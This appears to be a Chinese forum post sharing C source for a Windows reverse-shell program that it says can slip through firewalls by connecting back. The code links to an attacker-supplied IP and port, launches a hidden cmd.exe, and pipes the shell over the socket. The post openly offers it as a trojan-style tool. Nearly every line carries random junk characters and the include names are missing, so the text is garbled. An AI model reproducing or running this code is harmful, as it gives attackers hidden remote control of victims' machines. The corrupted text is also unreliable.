这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ZP]l%6\.
BaLvlB
/* ============================== YCWt%a*I'
Rebound port in Windows NT {NS6y \,
By wind,2006/7 78iu<L+If
===============================*/ 5$(qnOi
#include ncGg@$E
#include L*rND15
*gJ:irah
#pragma comment(lib,"wsock32.lib") #-0}r
0&YW#L|J
void OutputShell(); ^Ia:e
?)W
SOCKET sClient; ~BSIp
.
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;~2RWj=-
w=UFj
void main(int argc,char **argv) )o:%Zrk
{ +E{'A7im8=
WSADATA stWsaData; }i"\?M
int nRet;
S#kA$yO
SOCKADDR_IN stSaiClient,stSaiServer; '`/Qr~]
Vm_waa
if(argc != 3) U^ecg{
{ ,:Q+>h
printf("Useage:\n\rRebound DestIP DestPort\n"); *kliI]BF]
return; 2]$
7
} e~NEyS~3
/!V)2j,
WSAStartup(MAKEWORD(2,2),&stWsaData); 2hlb$N-hk
x8#bd{
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wNHvYulI
epcBr_}
stSaiClient.sin_family = AF_INET; * [\H)L z
stSaiClient.sin_port = htons(0); y@5{.jsr_
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?!h
jI;_&
N3_rqRd^
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }67lL~L
{ *?'^Rc
printf("Bind Socket Failed!\n"); <vMdfw"(
return; zNF.nS}:
} f.Uvf^T}2
!rK,_wH
stSaiServer.sin_family = AF_INET; o@&Hc bN^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vZDM}u
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D4@'C4kL
|>/T*zk<
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^7qqO%
{ Id<3'ky<N
printf("Connect Error!"); i^i^g5l!
return; \Q
CH.~]
} +d$l1j
OutputShell(); m(CbMu
} 6 4fB$
=;) M+"
void OutputShell() ogOUrJ}P
{ <0P7NC:Ci
char szBuff[1024]; wDL dmrB
SECURITY_ATTRIBUTES stSecurityAttributes; <9BM%
OSVERSIONINFO stOsversionInfo; jt*VD>ji
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; l$>))cW!
STARTUPINFO stStartupInfo; (_9cL,v
char *szShell; Q>G lA
PROCESS_INFORMATION stProcessInformation; 1L4-hYtCj
unsigned long lBytesRead; !oJ226>WI
^GyGh{@,f
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $bGe1\
kVH^(Pi
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r"%uP[H
stSecurityAttributes.lpSecurityDescriptor = 0; 5bfd8C
stSecurityAttributes.bInheritHandle = TRUE; uB`H9
N?RJuDW
Sh]g]xR
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); U1.w%b,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
Uu<Tn#nb
6F@2:]W
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); miq"3
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7jf%-X
stStartupInfo.wShowWindow = SW_HIDE; e%B;8)7
stStartupInfo.hStdInput = hReadPipe; 7[b]%i
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; OLl?1
.3tyNjsn\
GetVersionEx(&stOsversionInfo); b6LwKUl
t$*V*gK{
switch(stOsversionInfo.dwPlatformId) 5@:c6(5$
{ T VuDK
case 1: AzfYw'^&9
szShell = "command.com"; PCx] >&
break; WX2w7O'R
default: w<4,;FFlZ/
szShell = "cmd.exe"; /F3bZ3F
break; #U=}Pv~wM
} h/AL`$
Py3Y*YP
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >o#^)LN
o|FY-+
send(sClient,szMsg,77,0); _i-(`5
while(1) [xrM){ItW
{ MmvMuX]#)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gLH#UwfJ
if(lBytesRead) _BA2^C':c{
{ us:V\V
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )Q!3p={S*
send(sClient,szBuff,lBytesRead,0); v)TFpV6b{p
} o
C5}[cYD`
else \k8| 3Y~g
{ Ga%x(1U[&
lBytesRead=recv(sClient,szBuff,1024,0); X53TFRxnT
if(lBytesRead<=0) break; Ao%;!(\I%
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); LvtZZX6!
} 9 aE.jpN
} c<(LXf+61
RCS91[
return; w(y#{!%+
}